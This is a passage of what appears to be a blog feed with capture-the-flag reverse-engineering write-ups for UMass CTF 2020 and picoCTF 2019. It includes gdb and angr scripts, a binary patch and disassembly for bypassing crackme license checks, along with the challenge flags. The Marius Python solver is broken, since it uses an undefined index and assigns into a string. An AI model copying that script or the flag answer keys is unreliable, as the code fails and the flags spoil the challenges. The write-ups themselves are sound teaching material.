It is essentially the same commands we saw back in Crackme II!
So just like I and II this function checks each value individually to see if it is the correct value and then returns 1 or 0 depending on if it failed or not.</p>

<p><img src="/assets/images/posts/umass/crackme_iii_check_flag.png" alt="" /></p>

<p>Like before we can pull this out manully or use some scripting to achieve our goal, I chose the later.
We can actually use the same script as last time, however we just need to provide it with the disassembly as we don’t have it this time in a file.
To do that we can use <code class="language-plaintext highlighter-rouge">gdb</code>, or the GNU Debugger [which every reverse engineer (that does stuff on Linux) should be familiar with], to dump the <code class="language-plaintext highlighter-rouge">check_flag</code> function.</p>

<p><code class="language-plaintext highlighter-rouge">gdb -batch -ex 'file crackme' -ex 'disassemble check_flag' | for word in $(grep -i CMP | cut -d ',' -f2 | tail -n +2|cut -d ')' -f1); do printf "\x$(printf %x $word)"; done;</code></p>

<h2 id="flag-2">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{now_you_c4n_put_4ss3mbly_on_your_r3sum3}</code></p>

<h1 id="linear-algebra">Linear Algebra</h1>

<h2 id="prompt-3">Prompt</h2>

<p>Meh. I never understood why they make the CS students take MATH 235.</p>

<hr />

<p>You’re going to have to disassemble this one, too. Sorry :)</p>

<p>Created by @Jakob</p>

<h2 id="hint-3">Hint</h2>

<p>I’d go about this by writing down the equalities that are being checked in terms of symbolic variables (i.e. α + β + γ = 277), figuring out where the equations overlap, and then using the math skills I learned in high school.</p>

<h2 id="tldr-3">TLDR;</h2>

<p>Throw it at ANGR</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">angr</span>


<span class="n">PATH</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">__file__</span><span class="p">),</span> <span class="s">"crackme"</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>

    <span class="n">proj</span> <span class="o">=</span> <span class="n">angr</span><span class="p">.</span><span class="n">Project</span><span class="p">(</span><span class="n">PATH</span><span class="p">,</span> <span class="n">auto_load_libs</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
    <span class="n">simulation</span> <span class="o">=</span> <span class="n">proj</span><span class="p">.</span><span class="n">factory</span><span class="p">.</span><span class="n">simgr</span><span class="p">()</span>

    <span class="n">constraint</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">s</span><span class="p">:</span> <span class="sa">b</span><span class="s">"License key accepted"</span> <span class="ow">in</span> <span class="n">s</span><span class="p">.</span><span class="n">posix</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">simulation</span><span class="p">.</span><span class="n">explore</span><span class="p">(</span><span class="n">find</span><span class="o">=</span><span class="n">constraint</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">simulation</span><span class="p">.</span><span class="n">found</span><span class="p">:</span>
        <span class="n">pprint</span><span class="p">(</span><span class="n">simulation</span><span class="p">.</span><span class="n">one_found</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">pprint</span><span class="p">(</span><span class="n">solutions</span><span class="p">):</span>
    <span class="n">str_solutions</span> <span class="o">=</span> <span class="n">solutions</span><span class="p">.</span><span class="n">posix</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span>
        <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">'ignore'</span><span class="p">).</span><span class="n">strip</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">solution</span> <span class="ow">in</span> <span class="n">str_solutions</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Flag found: </span><span class="si">{</span><span class="n">solution</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="solution-3">Solution</h2>

<p>Like Crackme III we are provided with a binary for this challenge so load it up in your favorite disassembler.
Once in <code class="language-plaintext highlighter-rouge">main</code> we can see its still the same ole thing, so let’s go ahead to <code class="language-plaintext highlighter-rouge">check_flag</code>.</p>

<p><img src="/assets/images/posts/umass/linear_main.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">check_flag</code> is pretty much the same this time but I really do not wanna do the math to figure out the flag so I’m gonna let a robot do it.</p>

<p><img src="/assets/images/posts/umass/linear_check_flag.png" alt="" /></p>

<p>For this challenge I used <code class="language-plaintext highlighter-rouge">ANGR</code> a symbolic execution framework.
Symbolic execution tools purpose, or at least one of their purposes, is to find all the paths of a program.
Therefore we can use this to get us our flag!</p>

<p>ANGR abstracts away a lot of things for you which makes it easier to write quick scripts.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">angr</span>


<span class="n">PATH</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">__file__</span><span class="p">),</span> <span class="s">"crackme"</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>

    <span class="n">proj</span> <span class="o">=</span> <span class="n">angr</span><span class="p">.</span><span class="n">Project</span><span class="p">(</span><span class="n">PATH</span><span class="p">,</span> <span class="n">auto_load_libs</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
    <span class="n">simulation</span> <span class="o">=</span> <span class="n">proj</span><span class="p">.</span><span class="n">factory</span><span class="p">.</span><span class="n">simgr</span><span class="p">()</span>

    <span class="n">constraint</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">s</span><span class="p">:</span> <span class="sa">b</span><span class="s">"License key accepted"</span> <span class="ow">in</span> <span class="n">s</span><span class="p">.</span><span class="n">posix</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">simulation</span><span class="p">.</span><span class="n">explore</span><span class="p">(</span><span class="n">find</span><span class="o">=</span><span class="n">constraint</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">simulation</span><span class="p">.</span><span class="n">found</span><span class="p">:</span>
        <span class="n">pprint</span><span class="p">(</span><span class="n">simulation</span><span class="p">.</span><span class="n">one_found</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">pprint</span><span class="p">(</span><span class="n">solutions</span><span class="p">):</span>
    <span class="s">""" Helper that prints the solution in a more human readable format

    simulation - angr simulation object that represents the state the program is in
    """</span>

    <span class="n">str_solutions</span> <span class="o">=</span> <span class="n">solutions</span><span class="p">.</span><span class="n">posix</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span>
        <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf8'</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">'ignore'</span><span class="p">).</span><span class="n">strip</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">solution</span> <span class="ow">in</span> <span class="n">str_solutions</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Flag found: </span><span class="si">{</span><span class="n">solution</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>

</code></pre></div></div>

<p>In <code class="language-plaintext highlighter-rouge">main</code> we first setup our environment with creating <code class="language-plaintext highlighter-rouge">proj</code> and <code class="language-plaintext highlighter-rouge">simulation</code>.
After that we create our constraint or what we want ANGR to solve for.
In this case we are looking for <code class="language-plaintext highlighter-rouge">License key accepted</code> being found in the output (standard output is the file descriptor 1 for *NIX Systems).
We then pass this constraint to <code class="language-plaintext highlighter-rouge">explore</code> and ask our simulation object if anything is found.
If there is a solution we then print it with <code class="language-plaintext highlighter-rouge">pprint</code>.</p>

<p>Fun fact: you can actually use the exact same script for Crackme III since the output we are looking for is the same.
The only change that needs to be made is the filename in the PATH variable.</p>

<h2 id="flag-3">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{c0mpu73r_5c13nc3_15_ju57_m47h}</code></p>

<h1 id="evenodd">Even/Odd</h1>

<h2 id="prompt-4">Prompt</h2>

<p>I made this program that generates the flag and writes it to the console. It’s really fast!</p>

<hr />

<p>Created by @Jakob</p>

<h2 id="hint-4">Hint</h2>

<p>It isn’t “really fast”. This is an “optimize me” challenge. There are a couple of ways to go about this, but the easier routes involve “binary patching”. That’s the keyword you should be looking for online.</p>

<h2 id="tldr-4">TLDR;</h2>

<p>Patch the binary to calculate if an number is even / odd in a more optimized manner.
At address 0x11BD modify the next 8 bytes from
<code class="language-plaintext highlighter-rouge">0x48 0x8b 0x45 0xE8 0x48 0x89 0x45 0xF8 0xeb 0x1c</code> to
<code class="language-plaintext highlighter-rouge">0x48 0x89 0xF8 0x48 0x83 0xE0 0x01 0x90 0xeb 0x41</code></p>

<pre><code class="language-asm">mov rax, rdi
and rax, 1
nop
jmp short locret_1208
</code></pre>

<h2 id="solution-4">Solution</h2>

<p>Let’s open this binary up.
Its main is pretty bare bones.
First a string is dumped and then <code class="language-plaintext highlighter-rouge">lsr</code> is called; <code class="language-plaintext highlighter-rouge">lsr</code> it is.</p>

<p><img src="/assets/images/posts/umass/even_main.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">lsr</code> is a tad bit more complicated.
We initalize some variables (rbp-8, rbp-9, rbp-4) to 0.
Following that we check <code class="language-plaintext highlighter-rouge">rbp-4</code> against a hardcoded value 0x1327 and if we are less than or equal to it we jump, otherwise we leave this function.
It is safe to assume <code class="language-plaintext highlighter-rouge">rbp-4</code> is the loop index value.
After that we do some “maths” to the value at <code class="language-plaintext highlighter-rouge">rbp-4</code> and use the resulting value to pull a value from <code class="language-plaintext highlighter-rouge">value</code> a hardcoded array.
At this point do not be to worried about that math stuff that is going on.
All we care about is that based on the index value we perform some calculations and pull a value from <code class="language-plaintext highlighter-rouge">values</code> based on the result.
This new value along with a partial result from the math calculates is passed to <code class="language-plaintext highlighter-rouge">is_really_odd</code>.
Based on the return from <code class="language-plaintext highlighter-rouge">is_really_odd</code> we either perform an <code class="language-plaintext highlighter-rouge">or</code> operation or keep going.
Following that we check to see if <code class="language-plaintext highlighter-rouge">rbp-8</code> is 8 if it is we will print a character to the screen.
We can assume that the flag will get printed to the screen.
Following the print <code class="language-plaintext highlighter-rouge">rbp-8</code> is set to 0 and <code class="language-plaintext highlighter-rouge">rbp-9</code> is set to the contents of eax and the loop index is incremented.</p>

<p>At this point there is a lot going on in this function and it seems pretty complicated especially since we are only looking at this statically and not dynamically.
Before trying to debug this lets look into <code class="language-plaintext highlighter-rouge">is_really_odd</code>, especially since the name of the challeneg is Even/Odd.</p>

<p><img src="/assets/images/posts/umass/even_lsr.png" alt="" /></p>

<p>In even we seem to loop and perform some math eventually calling <code class="language-plaintext highlighter-rouge">is_odd</code> and either returning 0 or 1.
At this point I am assuming if it is odd <code class="language-plaintext highlighter-rouge">1</code> is returned otherwise <code class="language-plaintext highlighter-rouge">0</code> is returned.
Let’s look into <code class="language-plaintext highlighter-rouge">is_odd</code>.</p>

<p><img src="/assets/images/posts/umass/even_really.png" alt="" /></p>

<p>Here we see the input is compared against <code class="language-plaintext highlighter-rouge">0</code> if it is <code class="language-plaintext highlighter-rouge">0</code> we return 0 otherwise we subtract the input by <code class="language-plaintext highlighter-rouge">1</code> and call <code class="language-plaintext highlighter-rouge">is_even</code> with it. Alright… let’s look into <code class="language-plaintext highlighter-rouge">is_even</code></p>

<p><img src="/assets/images/posts/umass/even_is_odd.png" alt="" /></p>

<p>Hmm.. okay so the same code except it calls <code class="language-plaintext highlighter-rouge">is_odd</code> and this returns <code class="language-plaintext highlighter-rouge">1</code> if the value is <code class="language-plaintext highlighter-rouge">0</code>.
So essentially this code will recursively call <code class="language-plaintext highlighter-rouge">is_even</code> / <code class="language-plaintext highlighter-rouge">is_odd</code> until one reaches <code class="language-plaintext highlighter-rouge">0</code> and whoever reaches zero determines if a function is <code class="language-plaintext highlighter-rouge">even</code> or <code class="language-plaintext highlighter-rouge">odd</code>; this makes sense but it is not really efficient.
Let’s go back to <code class="language-plaintext highlighter-rouge">is_really_odd</code> and try to see if we can patch this program to be more efficient.</p>

<p><img src="/assets/images/posts/umass/even_is_even.png" alt="" /></p>

<p>As far as I understand the value in RSI is just used to speed up the calculations by shrinking the input value a little bit.
I’m not entirely sure as I didn’t really look much into it as it looks like all we really care about is if <code class="language-plaintext highlighter-rouge">RSI</code> is even or odd.</p>

<p>For us to see if an number is even or odd all you have to do is <code class="language-plaintext highlighter-rouge">AND</code> it against 1.
If it is even it will return 0 and if it is odd it will return 1; so lets do that.</p>

<p>By patching out lines 6, 7, and 8 we can modify this program to better calculate even odds.</p>

<p><img src="/assets/images/posts/umass/even_patch.png" alt="" /></p>

<p>Out of all the reversing challenges I have to say this one was probably my favorite because it was fairly unique.</p>

<h2 id="flag-4">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{w0w_y0ur3_p4713n7}</code></p>

<h1 id="marius">Marius</h1>

<h2 id="prompt-5">Prompt</h2>

<p>I wanted to do my 575 homework in LaTeX, so I asked him what he used for editing. He sent me this.</p>

<h2 id="tldr-5">TLDR;</h2>

<p>The elisp script takes in a 30 long character string. Discards the first 6 characters and the last character.
It then swaps characters through out the string and compares the final manged string against a hardcoded one <code class="language-plaintext highlighter-rouge">1v_ms14__ks1rtpk_1dd13s</code>.</p>

<h2 id="solution-5">Solution</h2>

<p>For this challenge we are given an <code class="language-plaintext highlighter-rouge">.el</code> file which stands for Emacs Lisp.
Since this is just a source file we can open it in a text editor.
Unfortunately it doesn’t make a lot of sense.
Turns out the alias <code class="language-plaintext highlighter-rouge">check-key</code> is elips byte code so it will need to be disassembled before we can figure out what to do.</p>

<div class="language-lisp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="nv">defalias</span> <span class="ss">'check-key</span> <span class="err">#</span><span class="nv">[</span><span class="p">(</span><span class="nv">key</span><span class="p">)</span> <span class="s">"\303\304!rq\210\305\216	c\210eb\210\306 G\307U\205F\310\311!\210\312\210\313u\210\310\314!\210\315 \210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\316\312!\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\316\312!\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\316\312!\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\316\312!\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\316\312!\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\316\312!\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\312u\210\316\312!\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\313u\210\316\312!\210\315 \210\317\320\321\306 \"\n\232)+\207"</span> <span class="nv">[#1=#:temp-buffer</span> <span class="nv">key</span> <span class="nv">toast</span> <span class="nv">generate-new-buffer</span> <span class="s">" *temp*"</span> <span class="err">#</span><span class="nv">[nil</span> <span class="s">"\301!\205

(define-derived-mode pro-mode prog-mode "</span><span class="nv">Professional</span> <span class="nv">Mode</span><span class="s">"
  "</span><span class="nv">Major</span> <span class="nv">mode</span> <span class="nv">for</span> <span class="nv">professional</span> <span class="nv">Emacs</span> <span class="nv">users.</span><span class="s">"
  :group 'pro
  (let ((key (read-from-minibuffer "</span><span class="nv">Enter</span> <span class="nv">license</span> <span class="nv">key:</span> <span class="s">")))
    (unless (check-key key)
      (message "</span><span class="nv">Key</span> <span class="nv">verification</span> <span class="nv">failed.</span> <span class="nv">Falling</span> <span class="nv">back</span> <span class="nv">to</span> <span class="nv">fundamental-mode.</span><span class="err">"</span><span class="p">)</span>
      <span class="p">(</span><span class="nv">fundamental-mode</span><span class="p">)</span><span class="err">)))</span>

<span class="p">(</span><span class="nb">provide</span> <span class="ss">'pro-mode</span><span class="p">)</span>
</code></pre></div></div>

<p>I have never messed with Emacs before but thankfully the author gave a hint on how to load the file.</p>

<ol>
  <li>Open GNU Emacs:
    <ol>
      <li>Press Alt+X</li>
      <li>Type “load-file” and hit enter</li>
      <li>Type in “pro-mode.el” and hit enter</li>
    </ol>
  </li>
  <li>To run pro-mode
    <ol>
      <li>Press Alt-X</li>
      <li>Type in “pro-mode” and press enter</li>
    </ol>
  </li>
  <li>To disassemble an elisp function
    <ol>
      <li>Press Alt-X</li>
      <li>Type in “disassemble” and press enter</li>
      <li>Type the name of the function and press enter</li>
    </ol>
  </li>
</ol>

<p>Elisp disassembly is strange in that almost every operation pushes something to the stack.
One can read about the disassembly <a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/Disassembly.html">here</a></p>

<p>If we run the instructions and disassemble <code class="language-plaintext highlighter-rouge">check-key</code> we get a dump of the disassembly of the function.
Which starts with defining a buffer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>byte code for check-key:
  args: (key)
0       constant  generate-new-buffer
1       constant  " *temp*"
2       call      1
3       varbind   temp-buffer
4       save-current-buffer
5       varref    temp-buffer
6       set-buffer
7       discard
8       constant  &lt;compiled-function&gt;
      args: nil
    0       constant  buffer-name
    1       varref    temp-buffer
    2       call      1
    3       goto-if-nil-else-pop 1
    6       constant  kill-buffer
    7       varref    temp-buffer
    8       call      1
    9:1     return

9       unwind-protect
</code></pre></div></div>

<p>Following this we set the key, the users input, to the current buffer</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10      varref    key
11      insert
12      discard
13      point-min
14      goto-char
15      discard
16      constant  buffer-string
17      call      0
</code></pre></div></div>

<p>After we setup the buffer we compare the length of the key against 30.
If it isnt 30 we quit.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>18      length
19      constant  30
20      eqlsign
21      goto-if-nil-else-pop 1
</code></pre></div></div>

<p>Now we delete the first six characters of the key; removes UMASS{</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
24      constant  delete-char
25      constant  6
26      call      1
27      discard
</code></pre></div></div>

<p>After that the function deletes the last character of the key; removes }</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>28      constant  nil
29      end-of-line
30      discard
31      constant  -1
32      forward-char
33      discard
34      constant  delete-char
35      constant  1
36      call      1
37      discard
</code></pre></div></div>

<p>Now we begin the encryption.
First we move back to the beginning of the line.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>38      constant  beginning-of-line
39      call      0
40      discard
</code></pre></div></div>

<p>After that we move forward 10 characters and swap the character at the 10th location with the 11th location (counting as if the characters start at 1).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>41      constant  nil
42      forward-char
43      discard
44      constant  nil
45      forward-char
46      discard
47      constant  nil
48      forward-char
49      discard
50      constant  nil
51      forward-char
52      discard
53      constant  nil
54      forward-char
55      discard
56      constant  nil
57      forward-char
58      discard
59      constant  nil
60      forward-char
61      discard
62      constant  nil
63      forward-char
64      discard
65      constant  nil
66      forward-char
67      discard
68      constant  nil
69      forward-char
70      discard
71      constant  transpose-chars
72      constant  nil
73      call      1
74      discard
</code></pre></div></div>

<p>Afterwards we walk back 10 characters, not the swap moves us forward a character so after this we will be at the second character.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>75      constant  -1
76      forward-char
77      discard
78      constant  -1
79      forward-char
80      discard
81      constant  -1
82      forward-char
83      discard
84      constant  -1
85      forward-char
86      discard
87      constant  -1
88      forward-char
89      discard
90      constant  -1
91      forward-char
92      discard
93      constant  -1
94      forward-char
95      discard
96      constant  -1
97      forward-char
98      discard
99      constant  -1
100     forward-char
101     discard
102     constant  -1
103     forward-char
104     discard
</code></pre></div></div>

<p>We then swap character 2 and 3</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>105     constant  transpose-chars
106     constant  nil
107     call      1
108     discard
</code></pre></div></div>

<p>This loops four times so we can build a little Python script to solve this for us.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">s</span> <span class="o">=</span> <span class="s">'1v_ms14__ks1rtpk_1dd13s'</span>

<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
    <span class="n">tmp</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">9</span><span class="o">+</span><span class="n">i</span><span class="p">]</span>
    <span class="n">s</span><span class="p">[</span><span class="mi">9</span><span class="o">+</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">10</span><span class="o">+</span><span class="n">i</span><span class="p">]</span>
    <span class="n">s</span><span class="p">[</span><span class="mi">10</span><span class="o">+</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span>

    <span class="n">tmp</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="n">i</span><span class="p">]</span>
    <span class="n">s</span><span class="p">[</span><span class="mi">0</span><span class="o">+</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">1</span><span class="o">+</span><span class="n">i</span><span class="p">]</span>
    <span class="n">s</span><span class="p">[</span><span class="mi">1</span><span class="o">+</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">tmp</span>

    <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</code></pre></div></div>
<h2 id="flag-5">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{v1m_1s_4_skr1pt_k1dd13s}</code></p>

<!-- `v1m_1s_4_skr1pt_k1dd13s`

`v1m_1s_4_ksr1pt_k1dd13s`

`1vm_1s_4_ksr1pt_k1dd13s`

`1vm_1s_4_ks1rpt_k1dd13s`

`1v_m1s_4_ks1rpt_k1dd13s`

`1v_m1s_4_ks1rtp_k1dd13s`

`1v_ms1_4_ks1rtp_k1dd13s`

`1v_ms1_4_ks1rtpk_1dd13s`

`1v_ms14__ks1rtpk_1dd13s`
 -->]]></content><author><name>Jordan Sosnowski</name></author><category term="ctf" /><category term="reverse engineering" /><category term="umass20" /><summary type="html"><![CDATA[Writeup for UMass CTF 2020's Reversing Challenges]]></summary></entry><entry><title type="html">picoCTF 2019: Reverse Engineering Writeups</title><link href="http://blog.nadrojisk.com/ctf/pico/rev" rel="alternate" type="text/html" title="picoCTF 2019: Reverse Engineering Writeups" /><published>2019-12-24T14:31:00-06:00</published><updated>2019-12-24T14:31:00-06:00</updated><id>http://blog.nadrojisk.com/ctf/pico/pico-2019_rev</id><content type="html" xml:base="http://blog.nadrojisk.com/ctf/pico/rev"><![CDATA[<p>In this post, I will be going over the challenges that I solved during picoCTF 2019.
picoCTF is a capture the flag competition aimed at Middle School and High School students; it is created by students at Carnegie Mellon.
It may be aimed for younger students but as I am still learning reverse engineering it was perfect for me.
I participated with Auburn’s Ethical Hacking Club during the competition.</p>

<h1 id="vault-door-training">vault-door-training</h1>

<h2 id="problem">Problem</h2>

<p>Your mission is to enter Dr. Evil’s laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault’s computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/vault-door-training/VaultDoorTraining.java">VaultDoorTraining.java</a></p>

<p>Hint: The password is revealed in the program’s source code.</p>

<h2 id="solution">Solution</h2>

<p>This challenge is meant to get your feet wet with reverse engineering.
If you know Java the challenge is quite trivial.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">String</span> <span class="n">userInput</span> <span class="o">=</span> <span class="n">scanner</span><span class="o">.</span><span class="na">next</span><span class="o">();</span>
<span class="nc">String</span> <span class="n">input</span> <span class="o">=</span> <span class="n">userInput</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="s">"picoCTF{"</span><span class="o">.</span><span class="na">length</span><span class="o">(),</span><span class="n">userInput</span><span class="o">.</span><span class="na">length</span><span class="o">()-</span><span class="mi">1</span><span class="o">);</span>
</code></pre></div></div>

<p>We see it grabs the user’s input and parses out <code class="language-plaintext highlighter-rouge">picoCTF{</code> and the last character; which should be <code class="language-plaintext highlighter-rouge">}</code> if we are following the flag format.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">(</span><span class="n">vaultDoor</span><span class="o">.</span><span class="na">checkPassword</span><span class="o">(</span><span class="n">input</span><span class="o">))</span> <span class="o">{</span>
 <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Access granted."</span><span class="o">);</span>
<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
 <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Access denied!"</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>After that, it passes our input to a <code class="language-plaintext highlighter-rouge">checkPassword</code> function.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">return</span> <span class="n">password</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"w4rm1ng_Up_w1tH_jAv4_ca5ae7fcc95"</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Looking into <code class="language-plaintext highlighter-rouge">checkPassword</code> we see it compares the parameter against <code class="language-plaintext highlighter-rouge">w4rm1ng_Up_w1tH_jAv4_ca5ae7fcc95</code>
Therefore, if we send <code class="language-plaintext highlighter-rouge">picoCTF{w4rm1ng_Up_w1tH_jAv4_ca5ae7fcc95}</code> to the program we will be awarded the good boy message <code class="language-plaintext highlighter-rouge">Access granted</code>.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">picoCTF{w4rm1ng_Up_w1tH_jAv4_ca5ae7fcc95}</code></p>

<h1 id="vault-door-1">vault-door-1</h1>

<h2 id="problem-1">Problem</h2>

<p>This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/vault-door-1/VaultDoor1.java">VaultDoor1.java</a></p>

<p>Hint: Look up the charAt() method online.</p>

<h2 id="solution-1">Solution</h2>

<p>Looking at the source code for this challenge it is very similar to the training challenge.
However <code class="language-plaintext highlighter-rouge">checkPassword</code> is different.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">return</span> <span class="n">password</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">==</span> <span class="mi">32</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">0</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'d'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">29</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'3'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">4</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'r'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">2</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'5'</span> <span class="o">&amp;&amp;</span>
